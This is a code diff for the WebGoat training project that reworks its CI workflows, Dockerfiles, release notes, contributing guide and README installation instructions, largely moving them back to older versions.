refacrired

.dockerignore

@@ -1,4 +0,0 @@
-**
-
-!/target
-!/config/desktop

.editorconfig

@@ -12,4 +12,5 @@ ij_continuation_indent_size = 8
 ij_formatter_off_tag = @formatter:off
 ij_formatter_on_tag = @formatter:on
 ij_formatter_tags_enabled = false
+ij_wrap_on_typing = true
 ij_java_names_count_to_use_import_on_demand = 999

.github/dependabot.yml

@@ -1,17 +1,7 @@
 version: 2
 updates:
+  # Maintain dependencies for GitHub Actions
   - package-ecosystem: "github-actions"
     directory: "/"
     schedule:
-            interval: "weekly"
+      interval: "daily"
-    -   package-ecosystem: "maven"
-        directory: "/"
-        schedule:
-            interval: "weekly"
-        ignore:
-          - dependency-name: "org.webjars:bootstrap" # First the WebWolf UI needs to be refactored due to breaking changes
-    -   package-ecosystem: "docker"
-        directory: "/"
-        schedule:
-            interval: "weekly"
-

.github/stale.yml

@@ -2,7 +2,7 @@
 daysUntilStale: 90
 daysUntilClose: 14
 onlyLabels:
-  - waiting for input
+  - waiting-for-input
   - wontfix
 staleLabel: stale
 markComment: >

.github/workflows/branch_build.yml

@@ -0,0 +1,54 @@
+name: "Branch build"
+on:
+  push:
+    branches-ignore:
+      - main
+      - develop
+      - release/*
+jobs:
+  install-notest:
+    if: "github.repository != 'WebGoat/WebGoat'"
+    runs-on: ubuntu-latest
+    name: "Package and linting"
+    steps:
+      - uses: actions/checkout@v2
+      - name: set up JDK 17
+        uses: actions/setup-java@v2
+        with:
+          distribution: 'temurin'
+          java-version: 17
+          architecture: x64
+      - name: Cache Maven packages
+        uses: actions/cache@v2.1.7
+        with:
+          path: ~/.m2
+          key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+          restore-keys: ubuntu-latest-m2
+      - name: Test with Maven
+        run: mvn install -DskipTests
+
+  testing:
+    if: "github.repository != 'WebGoat/WebGoat'"
+    needs: install-notest
+    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        args:
+          - mvn -pl '!webgoat-integration-tests' test
+          - mvn -pl webgoat-integration-tests test
+    steps:
+      - uses: actions/checkout@v2
+      - name: set up JDK 17
+        uses: actions/setup-java@v2
+        with:
+          distribution: 'temurin'
+          java-version: 17
+          architecture: x64
+      - name: Cache Maven packages
+        uses: actions/cache@v2.1.7
+        with:
+          path: ~/.m2
+          key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+          restore-keys: ubuntu-latest-m2
+      - name: Test with Maven
+        run: ${{ matrix.args }}

.github/workflows/branchbuild.yml

@@ -1,54 +0,0 @@
-name: "Branch build"
-on:
-    push:
-      branches:
-        - "*"
-        - "!main"
-
-jobs:
-    branch-build:
-        runs-on: ${{ matrix.os }}
-        strategy:
-            matrix:
-                os: [ ubuntu-latest, windows-latest, macos-latest ]
-                java-version: [ 17, 21 ]
-        steps:
-            -   uses: actions/checkout@v3
-            -   name: Set up JDK ${{ matrix.java-version }}
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: ${{ matrix.java-version }}
-                    architecture: x64
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.3.1
-                with:
-                    path: ~/.m2
-                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ${{ runner.os }}-m2-
-            -   name: Build with Maven
-                run: mvn --no-transfer-progress verify
-            -   name: "Set up QEMU"
-                if: runner.os == 'Linux'
-                uses: docker/setup-qemu-action@v2.2.0
-            -   name: "Set up Docker Buildx"
-                if: runner.os == 'Linux'
-                uses: docker/setup-buildx-action@v2
-            -   name: "Verify Docker WebGoat build"
-                if: runner.os == 'Linux'
-                uses: docker/build-push-action@v5.1.0
-                with:
-                    context: ./
-                    file: ./Dockerfile
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
-            -   name: "Verify Docker WebGoat desktop build"
-                uses: docker/build-push-action@v5.1.0
-                if: runner.os == 'Linux'
-                with:
-                    context: ./
-                    file: ./Dockerfile_desktop
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 

.github/workflows/build.yml

@@ -1,60 +0,0 @@
-name: "Pull requests build"
-on:
-    pull_request:
-        paths-ignore:
-            - '.txt'
-            - 'LICENSE'
-            - 'docs/**'
-
-jobs:
-    pr-build:
-        if: >
-            github.event_name == 'pull_request' && !github.event.pull_request.draft && (
-              github.event.action == 'opened' ||
-              github.event.action == 'reopened' ||
-              github.event.action == 'synchronize' 
-            )
-        runs-on: ${{ matrix.os }}
-        strategy:
-            matrix:
-                os: [ ubuntu-latest, windows-latest, macos-latest ]
-        steps:
-            -   uses: actions/checkout@v3
-            -   name: Set up JDK 17
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: 17
-                    architecture: x64
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.3.1
-                with:
-                    path: ~/.m2
-                    key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ${{ runner.os }}-m2-
-            -   name: Build with Maven
-                run: mvn --no-transfer-progress verify
-            -   name: "Set up QEMU"
-                if: runner.os == 'Linux'
-                uses: docker/setup-qemu-action@v2.2.0
-            -   name: "Set up Docker Buildx"
-                if: runner.os == 'Linux'
-                uses: docker/setup-buildx-action@v3
-            -   name: "Verify Docker WebGoat build"
-                if: runner.os == 'Linux'
-                uses: docker/build-push-action@v5.1.0
-                with:
-                    context: ./
-                    file: ./Dockerfile
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
-            -   name: "Verify Docker WebGoat desktop build"
-                uses: docker/build-push-action@v5.1.0
-                if: runner.os == 'Linux'
-                with:
-                    context: ./
-                    file: ./Dockerfile_desktop
-                    push: false
-                    build-args: |
-                        webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }} 

.github/workflows/pr_build.yml

@@ -0,0 +1,45 @@
+name: "Pull request build"
+on:
+  pull_request:
+    paths-ignore:
+      - '.txt'
+      - '*.MD'
+      - '*.md'
+      - 'LICENSE'
+      - 'docs/**'
+  push:
+    branches:
+      - main
+      - release/*
+    tags-ignore:
+      - '*'
+    paths-ignore:
+      - '.txt'
+      - '*.MD'
+      - '*.md'
+      - 'LICENSE'
+      - 'docs/**'
+
+jobs:
+  build:
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest, macos-latest]
+        java: [17]
+    steps:
+      - uses: actions/checkout@v2
+      - name: Set up JDK ${{ matrix.java }}
+        uses: actions/setup-java@v2
+        with:
+          distribution: 'temurin'
+          java-version: ${{ matrix.java }}
+          architecture: x64
+      - name: Cache Maven packages
+        uses: actions/cache@v2.1.7
+        with:
+          path: ~/.m2
+          key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
+          restore-keys: ${{ runner.os }}-m2
+      - name: Build with Maven
+        run: mvn package

.github/workflows/release.yml

@@ -11,17 +11,21 @@ jobs:
     environment:
       name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v2.3.4
 
-      - name: Set up JDK 17
+      - name: "Get tag name"
-        uses: actions/setup-java@v3
+        id: tag
+        uses: dawidd6/action-get-tag@v1
+
+      - name: Set up JDK 15
+        uses: actions/setup-java@v2
         with:
-          distribution: 'temurin'
+          distribution: 'zulu'
-          java-version: 17
+          java-version: 15
           architecture: x64
 
       - name: Cache Maven packages
-        uses: actions/cache@v3.3.1
+        uses: actions/cache@v2.1.7
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@@ -29,22 +33,23 @@ jobs:
 
       - name: "Set labels for ${{ github.ref }}"
         run: |
-          echo "WEBGOAT_TAG_VERSION=${{ github.ref_name }}" >> $GITHUB_ENV
+          echo "WEBGOAT_TAG_VERSION=${{ steps.tag.outputs.tag }}" >> $GITHUB_ENV
-          WEBGOAT_MAVEN_VERSION=${{ github.ref_name }}
+          WEBGOAT_MAVEN_VERSION=${{ steps.tag.outputs.tag }}
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
-          mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
+          mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
-          mvn --no-transfer-progress install -DskipTests
+          mvn install -DskipTests
 
       - name: "Create release"
         uses: softprops/action-gh-release@v1
         with:
           draft: false
           files: |
-            target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
-           ## Version ${{ github.ref_name }} 
+            ## Version ${{ steps.tag.outputs.tag }}
 
             ### New functionality
 
@@ -54,8 +59,6 @@ jobs:
 
             - [#743 - Character encoding errors](https://github.com/WebGoat/WebGoat/issues/743)
 
-            Full change log: https://github.com/WebGoat/WebGoat/compare/${{ github.ref_name }}...${{ github.ref_name }}  
-
 
             ## Contributors
 
@@ -72,77 +75,61 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v2.2.0
+        uses: docker/setup-qemu-action@v1.1.0
         with:
           platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v3
+        uses: docker/setup-buildx-action@v1
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v3.0.0
+        uses: docker/login-action@v1.9.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
-      - name: "Build and push WebGoat"
+      - name: "Build and push"
-        uses: docker/build-push-action@v5.1.0
+        uses: docker/build-push-action@v2.7.0
         with:
-          context: ./
+          context: ./docker
-          file: ./Dockerfile
+          file: docker/Dockerfile
           push: true 
           platforms: linux/amd64, linux/arm64, linux/arm/v7
           tags: |
-            webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/webgoat:latest
+            webgoat/goatandwolf:latest
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
-      - name: "Build and push WebGoat desktop"
+      - name: "Image digest"
-        uses: docker/build-push-action@v5.1.0
+        run: echo ${{ steps.docker_build.outputs.digest }}
-        with:
-          context: ./
-          file: ./Dockerfile_desktop
-          push: true
-          platforms: linux/amd64, linux/arm64
-          tags: |
-            webgoat/webgoat-desktop:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/webgoat-desktop:latest
-          build-args: |
-            webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
   new_version:
     if: github.repository == 'WebGoat/WebGoat'
-    name: Update to next SNAPSHOT version
+    name: Update development version
     needs: [ release ]
     runs-on: ubuntu-latest
+    environment:
+      name: release
     steps:
-      - uses: actions/checkout@v3
+      - uses: actions/checkout@v2.3.4
         with:
-          fetch-depth: 0
+          ref: develop
+          token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
 
-      - name: Set up JDK 17
+      - name: Set up JDK 15
-        uses: actions/setup-java@v3
+        uses: actions/setup-java@v2
         with:
-          distribution: 'temurin'
+          java-version: 15
-          java-version: 17
           architecture: x64
 
       - name: Set version to next snapshot
         run: |
-          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}-SNAPSHOT versions:commit
+          mvn build-helper:parse-version versions:set -DnewVersion=\${parsedVersion.majorVersion}.\${parsedVersion.minorVersion}.\${parsedVersion.nextIncrementalVersion}-SNAPSHOT versions:commit
-
-      - name: Push the changes to new branch
-        uses: devops-infra/action-commit-push@v0.9.2
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            add_timestamp: true
-            commit_message: "Updating to the new development version"
-            force: false
-
-      - name: Create PR
-        uses: devops-infra/action-pull-request@v0.5.5
-        with:
-            github_token: "${{ secrets.GITHUB_TOKEN }}"
-            title: ${{ github.event.commits[0].message }}
-            target_branch: main
 
+      - name: Commit pom.xml
+        run: |
+          git config user.name webgoat-github
+          git config user.email owasp.webgoat@gmail.com
+          find . -name 'pom.xml' | xargs git add
+          git commit -m "Updating to the new development version"
+          git push

.github/workflows/test.yml

@@ -1,67 +0,0 @@
-name: "UI-Test"
-on:
-    pull_request:
-        paths-ignore:
-            - 'LICENSE'
-            - 'docs/**'
-    push:
-        tags-ignore:
-            - 'v*'
-        paths-ignore:
-            - '.txt'
-            - '*.MD'
-            - '*.md'
-            - 'LICENSE'
-            - 'docs/**'
-
-jobs:
-    build:
-        runs-on: ubuntu-latest
-        # display name of the job
-        name: "Robot framework test"
-        steps:
-            # Uses an default action to checkout the code
-            -   uses: actions/checkout@v3
-            # Uses an action to add Python to the VM
-            -   name: Setup Pyton
-                uses: actions/setup-python@v4
-                with:
-                    python-version: '3.7'
-                    architecture: x64
-            # Uses an action to add JDK 17 to the VM (and mvn?)
-            -   name: set up JDK 17
-                uses: actions/setup-java@v3
-                with:
-                    distribution: 'temurin'
-                    java-version: 17
-                    architecture: x64
-            #Uses an action to set up a cache using a certain key based on the hash of the dependencies
-            -   name: Cache Maven packages
-                uses: actions/cache@v3.3.1
-                with:
-                    path: ~/.m2
-                    key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
-                    restore-keys: ubuntu-latest-m2-
-            -   uses: BSFishy/pip-action@v1
-                with:
-                    packages: |
-                        robotframework
-                        robotframework-SeleniumLibrary
-                        webdriver-manager
-                        selenium==4.9.1
-                    # TODO https://github.com/robotframework/SeleniumLibrary/issues/1835
-            -   name: Run with Maven
-                run: mvn --no-transfer-progress spring-boot:run &
-            -   name: Wait to start
-                uses: ifaxity/wait-on-action@v1
-                with:
-                    resource: http://127.0.0.1:8080/WebGoat
-            -   name: Test with Robotframework
-                run: python3 -m robot --variable HEADLESS:"1" --outputdir robotreport robot/goat.robot
-            # send report to forks only due to limits on permission tokens
-            -   name: Send report to commit
-                if: github.repository != 'WebGoat/WebGoat' && github.event_name == 'push'
-                uses: joonvena/robotframework-reporter-action@v2.2
-                with:
-                    gh_access_token: ${{ secrets.GITHUB_TOKEN }}
-                    report_path: 'robotreport'

.github/workflows/welcome.yml

@@ -10,7 +10,7 @@ jobs:
     if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/first-interaction@v1.2.0
+      - uses: actions/first-interaction@v1.1.0
         with:
           repo-token: ${{ secrets.GITHUB_TOKEN }}
           issue-message: 'Thanks for submitting your first issue, we will have a look as quickly as possible.'

.gitignore

@@ -55,5 +55,3 @@ webgoat.script
 TestClass.class
 **/*.flattened-pom.xml
 /.gitconfig
-
-webgoat.gitconfig

CONTRIBUTING.md

@@ -1,9 +1,7 @@
 # Contributing
-
 [![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
 ![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
 ![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
-[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 This document describes how you can contribute to WebGoat. Please read it carefully.
 
@@ -26,7 +24,7 @@ There are a couple of ways on how you can contribute to the project:
 Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
 The minimum requirements for code contributions are:
 
-1. The code _must_ be compliant with the configured Java Google Formatter, Checkstyle and PMD rules.
+1. The code _must_ be compliant with the configured Checkstyle and PMD rules.
 2. All new and changed code _should_ have a corresponding unit and/or integration test.
 3. New and changed lessons _must_ have a corresponding integration test.
 4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
@@ -40,21 +38,9 @@ Pull requests should be as small/atomic as possible. Large, wide-sweeping change
 * If you are making spelling corrections in the docs, don't modify other files.
 * If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
 
+
 ### Write a good commit message
 
-* We use [Conventional Commits](https://www.conventionalcommits.org/en/v1.0.0/) and use the following types:
-
-  - fix:
-  - feat:
-  - build:
-  - chore:
-  - ci:
-  - docs:
-  - refactor:
-  - test:
-
-  Using this style of commits makes it possible to create our release notes automatically.
-
 * Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
 
 * If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
@@ -83,24 +69,17 @@ For example: `Fix #545` or `Closes #10`
     ```
 
     See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
-
 5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
-
 6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
-
 7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
-
 8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
-
 9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
-
 10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
-
 11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
 
     ```bash
     $ git fetch upstream
-    $ git merge upstream/main
+    $ git merge upstream/develop
     ```
 
     See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".

CREATE_RELEASE.md

@@ -1,21 +1,34 @@
 ## Release WebGoat
 
+
 ### Version numbers
 
-For WebGoat we use milestone releases first before we release the official version, we use `v2023.01` while tagging
+For WebGoat we use milestone releases first before we release the official version, we use `v8.0.0.M3` while tagging
-and 2023.01 in the `pom.xml`.
+ and 8.0.0.M3 in the `pom.xml`. When we create the final release we remove the milestone release and use 
+ `v8.0.0` in the `pom.xml`
  
 ### Release notes:
+Update the release notes with the correct version. Use `git shortlog -s -n --since "SEP 31 2019"` for the list of 
+committers.
 
-Update the release notes with the correct version. Use `git shortlog -s -n --since "JAN 06 2023"` for the list of
+At the moment we use Gitflow, for a release you create a new release branch and take the following steps:
-committers. In order to fetch the list of issues included use: `git log --graph --pretty='%C(auto)%d%Creset%s' v2023.4..origin/main`
 
 ```
-mvn versions:set 
+git checkout develop
-<< update release notes >>
+git flow release start <version> 
-mvn verify
+git flow release publish
-git commit ....
+
-git tag v2023.01 
+<<Make changes if necessary>>
+<<Update RELEASE_NOTES.md>>
+
+git flow release finish <version>
+git push origin develop
+git push origin main
 git push --tags
 ```
 
+Now Travis takes over and will create the release in Github and on Docker Hub.
+
+NOTE: the `mvn versions:set` command above is just there to make sure the master branch contains the latest version
+
+

Dockerfile

@@ -1,37 +0,0 @@
-FROM docker.io/eclipse-temurin:19-jre-focal
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
-
-RUN \
-  useradd -ms /bin/bash webgoat && \
-  chgrp -R 0 /home/webgoat && \
-  chmod -R g=u /home/webgoat
-
-USER webgoat
-
-COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
-
-EXPOSE 8080
-EXPOSE 9090
-
-WORKDIR /home/webgoat
-ENTRYPOINT [ "java", \
-   "-Duser.home=/home/webgoat", \
-   "-Dfile.encoding=UTF-8", \
-   "--add-opens", "java.base/java.lang=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.text=ALL-UNNAMED", \
-   "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
-   "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
-   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
-   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
-   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
-   "-Drunning.in.docker=true", \
-   "-Dwebgoat.host=0.0.0.0", \
-   "-Dwebwolf.host=0.0.0.0", \
-   "-Dwebgoat.port=8080", \
-   "-Dwebwolf.port=9090", \
-   "-jar", "webgoat.jar" ]

Dockerfile_desktop

@@ -1,34 +0,0 @@
-FROM lscr.io/linuxserver/webtop:ubuntu-xfce
-LABEL NAME = "WebGoat: A deliberately insecure Web Application"
-MAINTAINER "WebGoat team"
-
-WORKDIR /config
-
-COPY target/webgoat-*.jar /config/webgoat.jar
-COPY config/desktop/start_webgoat.sh /config/start_webgoat.sh
-COPY config/desktop/start_zap.sh /config/start_zap.sh
-COPY config/desktop/WebGoat.txt /config/Desktop/
-
-RUN \
- case $(uname -m) in \
-  x86_64) ARCH=x64;; \
-  aarch64) ARCH=aarch64;; \
-  *) ARCH=unknown;; \
- esac && \
- curl -LO https://github.com/zaproxy/zaproxy/releases/download/v2.12.0/ZAP_2.12.0_Linux.tar.gz && \
- tar zfxv ZAP_2.12.0_Linux.tar.gz && \
- rm -rf ZAP_2.12.0_Linux.tar.gz && \
- curl -LO https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.6%2B10/OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- tar zfxv OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- rm -rf OpenJDK17U-jre_${ARCH}_linux_hotspot_17.0.6_10.tar.gz && \
- chmod +x /config/start_webgoat.sh && \
- chmod +x /config/start_zap.sh && \
- apt-get update &&  \
- apt-get --yes install vim nano && \
- echo "JAVA_HOME=/config/jdk-17.0.6+10-jre/" >> .bash_aliases && \
- echo "PATH=$PATH:$JAVA_HOME/bin" >> .bash_aliases
-
-
-ENV JAVA_HOME=/home/webgoat/jdk-17.0.6+10-jre
-
-WORKDIR /config/Desktop

FAQ.md

@@ -1,8 +0,0 @@
-# FAQ for development
-
-## Introduction
-
-### Integration tests fail
-
-Try to run the command in the console `java -jar ...` and remove `-Dlogging.pattern.console=` from the command line.
-

README.md

@@ -1,12 +1,11 @@
-# WebGoat: A deliberately insecure Web Application
+# WebGoat 8: A deliberately insecure Web Application
 
-[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
+[![Pull request build](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/pr_build.yml)
 [![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
 [![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
 [![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
-[![Conventional Commits](https://img.shields.io/badge/Conventional%20Commits-1.0.0-%23FE5196?logo=conventionalcommits&logoColor=white)](https://conventionalcommits.org)
 
 # Introduction
 
@@ -28,59 +27,48 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
-![WebGoat](docs/images/webgoat.png)
-
 # Installation instructions:
 
 For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
-Already have a browser and ZAP and/or Burp installed on your machine in this case you can run the WebGoat image directly using Docker.
+Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/goatandwolf).
 
-Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
+The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
 
 ```shell
-docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+
+docker run -it -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:v8.2.2
 ```
 
-If you want to reuse the container, give it a name:
+The landing page will be located at: http://localhost  
+WebGoat will be located at: http://localhost:8080/WebGoat  
+WebWolf will be located at: http://localhost:9090/WebWolf
+
+**Important**: *Change the ports if necessary, for example use `127.0.0.1:7777:9090` to map WebWolf to `http://localhost:7777/WebGoat`*  
+
+**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
+
+
+## 2. Standalone
+
+Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
 ```shell
-docker run --name webgoat -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 webgoat/webgoat
+java -Dfile.encoding=UTF-8 -jar webgoat-server-8.2.2.jar [--server.port=8080] [--server.address=localhost] [--hsqldb.port=9001]
+java -Dfile.encoding=UTF-8 -jar webwolf-8.2.2.jar [--server.port=9090] [--server.address=localhost] [--hsqldb.port=9001]
 ```
 
-As long as you don't remove the container you can use:
+WebGoat will be located at: http://localhost:8080/WebGoat and   
+WebWolf will be located at: http://localhost:9090/WebWolf (change ports if necessary)
 
-```shell
+## 3. Run from the sources
-docker start webgoat
-```
-
-This way, you can start where you left off. If you remove the container, you need to use `docker run` again.
-
-## 2. Run using Docker with complete Linux Desktop
-
-Instead of installing tools locally we have a complete Docker image based on running a desktop in your browser. This way you only have to run a Docker image which will give you the best user experience.
-
-```shell
-docker run -p 127.0.0.1:3000:3000 webgoat/webgoat-desktop
-```
-
-## 3. Standalone
-
-Download the latest WebGoat release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
-
-```shell
-java -Dfile.encoding=UTF-8 -Dwebgoat.port=8080 -Dwebwolf.port=9090 -jar webgoat-2023.4.jar
-```
-
-Click the link in the log to start WebGoat.
-
-## 4. Run from the sources
 
 ### Prerequisites:
 
 * Java 17
+* Maven > 3.2.1
 * Your favorite IDE
 * Git, or Git support in your IDE
 
@@ -95,31 +83,18 @@ Now let's start by compiling the project.
 ```Shell
 cd WebGoat
 git checkout <<branch_name>>
-# On Linux/Mac:
+mvn clean install
-./mvnw clean install
-
-# On Windows:
-./mvnw.cmd clean install
-
-# Using docker or podman, you can than build the container locally
-docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
-Now we are ready to run the project. WebGoat is using Spring Boot.
+Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
 
 ```Shell
-# On Linux/Mac:
+mvn -pl webgoat-server spring-boot:run
-./mvnw spring-boot:run
-# On Windows:
-./mvnw.cmd spring-boot:run
-
 ```
+... you should be running webgoat on localhost:8080/WebGoat momentarily
 
-... you should be running WebGoat on http://localhost:8080/WebGoat momentarily.
 
-Note: The above link will redirect you to login page if you are not logged in. LogIn/Create account to proceed.
+To change the IP address add the following variable to the WebGoat/webgoat-container/src/main/resources/application.properties file:
-
-To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties` file:
 
 ```
 server.address=x.x.x.x
@@ -130,16 +105,12 @@ server.address=x.x.x.x
 For specialist only. There is a way to set up WebGoat with a personalized menu. You can leave out some menu categories or individual lessons by setting certain environment variables.
 
 For instance running as a jar on a Linux/macOS it will look like this:
-
 ```Shell
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar target/webgoat-2023.4-SNAPSHOT.jar
+java -jar webgoat-server/target/webgoat-server-v8.2.2-SNAPSHOT.jar
 ```
-
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
-
 ```Shell
-docker run -d -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
+docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
 ```
-

README_I18N.md

@@ -1,34 +0,0 @@
